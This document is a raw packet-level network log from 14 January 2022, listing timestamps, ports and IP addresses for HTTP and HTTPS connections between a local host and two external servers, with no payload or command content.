Jan 14, 2022 21:05:56.299233913 CET	49892	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.316695929 CET	80	49892	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:56.316812992 CET	49892	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.316922903 CET	49892	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.316934109 CET	49892	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.334216118 CET	80	49892	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:56.437679052 CET	80	49892	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:56.437776089 CET	49892	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.437839985 CET	49892	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.455141068 CET	80	49892	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:56.473294973 CET	49893	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.490674973 CET	80	49893	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:56.490812063 CET	49893	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.490928888 CET	49893	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.491090059 CET	49893	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.508232117 CET	80	49893	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:56.508266926 CET	80	49893	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:56.614887953 CET	80	49893	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:56.614933014 CET	80	49893	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:56.615003109 CET	49893	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.615194082 CET	49893	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.632425070 CET	80	49893	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:56.640983105 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:56.641035080 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:56.641112089 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:56.641357899 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:56.641376019 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:56.692404032 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:56.692517996 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:56.694214106 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:56.694227934 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:56.694786072 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:56.698146105 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:56.741868973 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.241477013 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.241529942 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.241580009 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.241691113 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.241714001 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.241736889 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.241743088 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.241751909 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.241836071 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.241913080 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.266201019 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.266249895 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.266381979 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.266402006 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.266465902 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.266505957 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.266530037 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.266541004 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.266606092 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.266633987 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.266649961 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.266710043 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.266762018 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.267208099 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.267249107 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.267366886 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.267381907 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.267503023 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.291023016 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.291102886 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.291157007 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.291169882 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.291189909 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.291229010 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.291619062 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.291656971 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.291723967 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.291738987 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.291765928 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.292265892 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.292304993 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.292373896 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.292390108 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.292412043 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.292983055 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.293021917 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.293102026 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.293117046 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.293155909 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.293179989 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.293720007 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.293750048 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.293844938 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.293864012 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.293876886 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.297060966 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.313219070 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.313273907 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.313401937 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.313429117 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.313453913 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.313493967 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.313505888 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.313543081 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.313560009 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.313607931 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.313636065 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.314429045 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.314475060 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.314537048 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.314553022 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.314604044 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.314630032 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.315031052 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.315061092 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.315135956 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.315145016 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.315192938 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.315233946 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.315272093 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.315300941 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.315380096 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.315388918 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.315452099 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.316668034 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.316713095 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.316839933 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.316854000 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.316941977 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.317014933 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.317045927 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.317115068 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.317126036 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.317354918 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.318416119 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.318448067 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.318535089 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.318550110 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.318598032 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.318624973 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.341480017 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.341527939 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.341634035 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.341651917 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.341674089 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.341717958 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.341728926 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.341787100 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.341798067 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.341905117 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.341911077 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.343290091 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.343337059 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.343410015 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.343421936 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.343465090 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.343496084 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.344016075 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.344048023 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.344136953 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.344147921 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.344192982 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.344218016 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.344746113 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.344780922 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.344852924 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.344865084 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.344901085 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.344942093 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.345006943 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.345038891 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.345094919 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.345104933 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.345144033 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.345190048 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.345261097 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.345298052 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.345354080 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.345366001 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.345407009 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.345434904 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.345875978 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.345916986 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.346007109 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.346020937 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.346087933 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.369297981 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.369354963 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.369465113 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.369487047 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.369503975 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.369543076 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.369749069 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.369787931 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.369832039 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.369846106 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.369884014 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.369918108 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.370469093 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.370511055 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.370568037 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.370580912 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.370605946 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.370636940 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.371177912 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.371217966 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.371299982 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.371315002 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.371345997 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.371366978 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.371815920 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.371866941 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.371918917 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.371942043 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.371988058 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.372046947 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.372473955 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.372512102 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.372581005 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.372595072 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.372632980 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.372687101 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.373269081 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.373334885 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.373380899 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.373398066 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.373435020 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.373460054 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.373693943 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.373749018 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.373781919 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.373796940 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.373832941 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.373917103 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.374116898 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.374169111 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.374198914 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.374216080 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.374311924 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.374324083 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.398158073 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.398190022 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.398332119 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.398344040 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.398412943 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.399624109 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.399652958 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.399725914 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.399736881 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.399797916 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.399873018 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.399894953 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.399986982 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.399993896 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.400052071 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.400325060 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.400348902 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.400490999 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.400499105 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.400546074 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.400568008 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.400576115 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.400584936 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.400671959 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.400743961 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.400765896 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.400849104 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.400856018 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.400914907 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.401029110 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.401097059 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.401122093 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.401204109 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.401211023 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.401253939 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.401292086 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.401391983 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.401417017 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.401506901 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.401515007 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.401578903 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.402101040 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.402137041 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.402168036 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.402249098 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.402261972 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.402348042 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.402823925 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.421654940 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.421693087 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.421816111 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.421828032 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.421904087 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.421935081 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.422843933 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.422887087 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.422950029 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.422961950 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.423003912 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.423046112 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.423942089 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.423971891 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.424021959 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.424036026 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.424067974 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.424096107 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.424531937 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.424559116 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.424603939 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.424633980 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.424649000 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.424679995 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.424822092 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.424869061 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.424896002 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.424904108 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.424930096 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.424952030 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.425188065 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.425215006 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.425257921 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.425266981 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.425302982 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.425360918 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.425508022 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.425538063 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.425585032 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.425594091 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.425628901 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.425652981 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.426032066 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.426064968 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.426218033 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.426229000 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.426291943 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.426450014 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.426476955 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.426534891 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.426543951 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.426597118 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.426865101 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.426889896 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.426939011 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.426948071 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.426995993 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.427036047 CET	49894	443	192.168.2.5	144.76.136.153
